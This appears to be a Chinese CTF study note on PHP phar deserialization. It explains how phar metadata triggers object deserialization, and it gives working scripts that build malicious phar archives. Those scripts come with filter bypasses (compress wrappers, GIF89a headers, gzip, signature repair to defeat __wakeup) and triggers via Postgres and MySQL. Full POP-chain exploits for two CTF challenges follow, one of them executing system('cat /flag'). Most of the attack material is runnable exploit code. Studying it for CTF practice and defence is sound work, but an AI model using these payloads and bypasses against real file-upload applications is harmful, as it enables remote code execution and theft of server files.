Phar反序列化
phar反序列化+两道CTF例题_ctf phar-CSDN博客
php反序列化拓展攻击详解–phar-先知社区
浅析Phar反序列化 - FreeBuf网络安全行业门户
Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区
phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
(1)什么是phar文件
简介
phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。(官网)
总而言之就是像file://或者data://这种流包装器,phar可以让多个文件归档到同一个文件,在不经过解压的情况下被php访问并执行
标识
- 必须以
__HALT_COMPILER();?>
来结尾
- 本质上是压缩文件,以序列化的形式储存在用户自定义的meta-data
(2)漏洞利用条件
- phar可以上传到服务器端(存在文件上传)
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
/
phar
等特殊字符没有被过滤

(3)phar生成
注意php.ini中的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class TestObject { } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
<?php $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($c1e4r); $phar->addFromString("exp.txt", "test"); $phar->stopBuffering(); ?>
|
(4)绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用 compress.bzip2:// 和 compress.zlib:// 等绕过
1 2 3
| compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt
|
也可以利用其它协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar
禁用了<?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| class Check{ public $file_name; function __construct($file_name){ $this->file_name = $file_name; } function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } } ... ... if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!");
|
GIF格式验证可以通过在文件头部添加 GIF89a 绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); 2、生成一个phar.phar,修改后缀名为phar.gif <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o->data='hello L1n!'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
(5)其他利用(sql)
Postgres
1 2 3
| <?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root")); @$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
|
当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。
MySQL
LOAD DATA LOCAL INFILE
也会触发phar造成反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class TestObject { function __destruct() { echo $this->data; echo 'Destruct called'; } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;'); ?>
|
(6)例题
Simple
国城杯 线下赛 web wp - LamentXU - 博客园
[SUCTF-2019/Web/Upload Labs 2 at master · team-su/SUCTF-2019](https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2)
[SWPU 2018]SimplePHP | NSSCTF
对于SimplePHP (?file=查看源码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
|
和
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <?php
class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
|
很明显这边提示了是用phar触发反序列化,然后本身是个POP链
最后触发C1e4r类的__destruct()来执行代码,TEST类用来读取flag
那么整体逻辑就是
test -> show -> c1e4r
POC: (php -d phar.readonly=0 xxxx.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class C1e4r { public $test; public $str; }
class Show { public $source; public $str = array(); } class Test { public $file; public $params; public function __construct() { $this->params = array();; } }
$phar =new Phar("awsl.phar"); $phar->startBuffering(); $phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); $a = new C1e4r(); $b = new Show(); $c = new Test(); $c -> params['source'] = '/var/www/html/f1ag.php'; $b -> str['str'] = $c; $a -> str = $b;
$phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
?>
|
然后burp改后缀为 .jpg 上传
访问/upload能看见自己上传的
接着就是
?file=phar://upload/上传的文件名(/upload里能看到)
然后base64解码即可
Bypass
[NSSRound#4 SWPU]1zweb | NSSCTF
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class LoveNss{ public $ljt="Misc"; public $dky="Re"; public $cmd="system('cat /flag');"; } $a = new LoveNss(); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); ?>
|
然后更改类型数量绕过wakeup
修复签名:(修改了类型数量)
1 2 3 4 5 6 7 8
| from hashlib import sha256 with open('phar.phar', 'rb') as file: f = file.read() s = f[:-28] h = f[-8:] newf = s + sha256(s).digest() + h with open('newtest.phar', 'wb') as file: file.write(newf)
|
kali自带gzip压缩后更改为白名单后缀上传
gzip + 要压缩的文件
访问phar://upload/3.png